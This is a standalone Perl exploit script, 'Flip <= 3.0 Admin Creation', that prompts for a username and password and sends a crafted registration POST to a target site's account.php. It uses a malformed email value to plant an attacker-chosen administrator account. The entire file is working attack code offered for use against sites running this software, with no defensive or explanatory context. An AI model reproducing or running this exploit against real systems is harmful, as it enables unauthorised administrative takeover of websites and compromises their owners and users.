#!/usr/bin/perl

use strict; 
use IO::Socket;
use Getopt::Std;

my $app = "Flip <= 3.0";
my $type = "Admin Creation";
my $author = "undefined1_";
my $vendor = "http://sourceforge.net/projects/flipsource";

my %opt;
getopts("t:", \%opt);
$| = 1;
print ":: $app $type - by $author - www.undef1.com ::\n\n\n";

my $url = $opt{t} || usage();

if($url =~ m/^(?:http:\/\/)(.*)/) {
  $url = $1;
}
if($url !~ m/^.*\/$/) {
  $url .= "/";
}

print "username you want: ";
my $user = <STDIN>;
print "password you want: ";
my $pass = <STDIN>;
chomp($user);
chomp($pass);

create_admin($url, $user, $pass);

sub create_admin {
  my $url = shift;
  my $user = shift;
  my $pass = shift;
  
  print "creating admin ... \t";
  my $content  = "un=$user&em=aaa][3\@gmail.com&pw1=$pass&pw2=$pass";
  my $data = "POST " . parse_page($url . "account.php?op=register") . " HTTP/1.1\r\n";
  $data .= "Host: " . parse_host($url) . "\r\n";
  $data .= "Connection: close\r\n";
  $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $data .= "Content-Length: " . length($content) . "\r\n\r\n";
  my $recv = sendpacket(parse_host($url), parse_port($url), $data.$content);

  if($recv !~ m/Successfully registered!/m) {
    print "failed\n";
    return;
  }  
  print "OK\n";    
}



# ======================================================

sub parse_host {
  my $url = shift;
  if($url =~ m/^([^\/:]+).*\//) {
    return $1;
}
  return "127.0.0.1";
}

sub parse_port {
  my $url = shift;
  if($url =~ m/^(?:[^\/:]+):(\d+)\//) {
    return $1;
}
  return "80";
}

sub parse_page {
  my $url = shift;
  if($url =~ m/^(?:[^\/]+)(\/.*)/) {
    return $1;
  }
  return "/";
}


sub sendpacket {
  my $server = shift;
  my $port = shift;
  my $data = shift;

  my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $server, PeerPort => $port) or die ":: Could not connect to $server:80 $!\n";
  print $sock "$data";
  
  $data = "";
  my $resp;
  while($resp = <$sock>)  { $data .= $resp; }
  
  close($sock);
  return $data;
}

sub usage() {
  printf "usage: %s -t<url>\n", $0;
  exit;
}